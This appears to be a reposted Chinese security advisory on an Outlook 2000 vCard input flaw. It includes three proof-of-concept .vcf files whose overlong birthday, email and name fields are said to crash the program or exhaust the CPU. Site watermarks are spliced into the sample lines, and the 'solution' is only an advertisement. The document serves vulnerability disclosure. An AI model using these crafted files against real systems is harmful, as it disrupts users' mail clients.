涉及程序：
Outlook 2000
描述：
Outlook 2000 存在vCard (.vcf)文件输入漏洞
详细：
在某些条件下，存在一个超长或特别畸型的fieldsv在vCard (.vcf)文件中能够引起Microsoft Outlook 2000溢出或是过多的占用系统资源。
Outlook 2000并不要求打开或输入一个没有通过用户电子邮件接受的.vcf文件。但vCard文件是一个极其普通的文件许多用户都设置省略该警告对话框。
如果用户在目录中保存了该文件并双击该文件那么将自动打开vCard 文件。在这种情况下将不需要验证和显示用户信息。
受影响的系统：
Microsoft Outlook 2000是唯一的测试平台（Windows NT 4.0 Workstation，6a+hotfixes服务包）
以下例子详细说明了该问题：
1）修改“bday‘域使其超过55个字符。该例子将引起Outlook 2000溢出或停止运行。
BEGIN:VCARD
VERSION:2.1
N:Berger;Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of
Germany.
TEL;WORK;VOICE:(873) 323-3213 网管网bitsCN.com
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United
States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423
efdsdfsd=0D=0A4534534tertgerwtgr, TN 34564=0D=0AUnited State=
s of America
URL:
URL:http://bin.false/
ROLE:sadf
BDAY:19630915130848273492749723947923749273942394792734972394729374927
4982739472937492873
EMAIL;PREF;INTERNET:mb@goerlitz.de
REV:20000830T191121Z
END:VCARD
2）修改“e-mail”域，用长字符串作为e-mail地址。该例子将引起Outlook 2000溢出或停止运行。
BEGIN:VCARD
VERSION:2.1
N:Berger;Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of
Germany.
TEL;WORK;VOICE:(873) 323-3213
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213 中国网管联盟www、bitsCN、com
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United
States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423
efdsdfsd=0D=0A4534534tertgerwtgr, TN 34564=0D=0AUnited State=
s of America
URL:
URL:http://bin.false/
ROLE:sadf
BDAY:19630915
EMAIL;PREF;INTERNET:mb@goerlitz.de.sadsack.nothing.doing.is.an.overflo
.possible.sadsack.not hing.doing.is.an.overflow.possible.
<content clipped for brevity - envision lots of text here>
.sadsack.nothing.doing.is.an.overflow.possible.com
REV:20000830T191121Z
END:VCARD
3)修改“N”或“Name”域，用长串作为该域的内容。该例子不会停止Outlook 2000运行，但会使CPU利用率达到99%。
BEGIN:VCARD
VERSION:2.1
N:Berger MeisterBerger MeisterBerger MeisterBerger MeisterBerger
MeisterBerger Meister
<content clipped for brevity - envision lots of text here>
Berger MeisterBerger MeisterBerger MeisterBerger MeisterBerger
中国网管联盟www.bitscn.com
MeisterBerger MeisterBerger MeisterBerger Meister
FN:Meister Berger
NICKNAME:Sadf
ORG:Test;e3425454
TITLE:Burgermeister
NOTE:The Mayor of the great city of Goerlitz in the great country of
Germany.
TEL;WORK;VOICE:(873) 323-3213
TEL;HOME;VOICE:(873) 323-3213
TEL;CELL;VOICE:(873) 323-3213
TEL;VOICE:+49 3581 1234
TEL;WORK;FAX:(873) 323-3213
ADR;WORK:;dsfaf;3423 efdsdfsd;4534534tertgerwtgr;TN;34564;United
States of America
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:dsfaf=0D=0A3423
efdsdfsd=0D=0A4534534tertgerwtgr, TN 34564=0D=0AUnited State=
s of America
URL:
URL:http://bin.false/
ROLE:sadf
BDAY:19630915
EMAIL;PREF;INTERNET:mb@goerlitz.de
REV:20000830T191121Z
END:VCARD
解决方案：
CNNS将为您提供完善的网络安全服务。
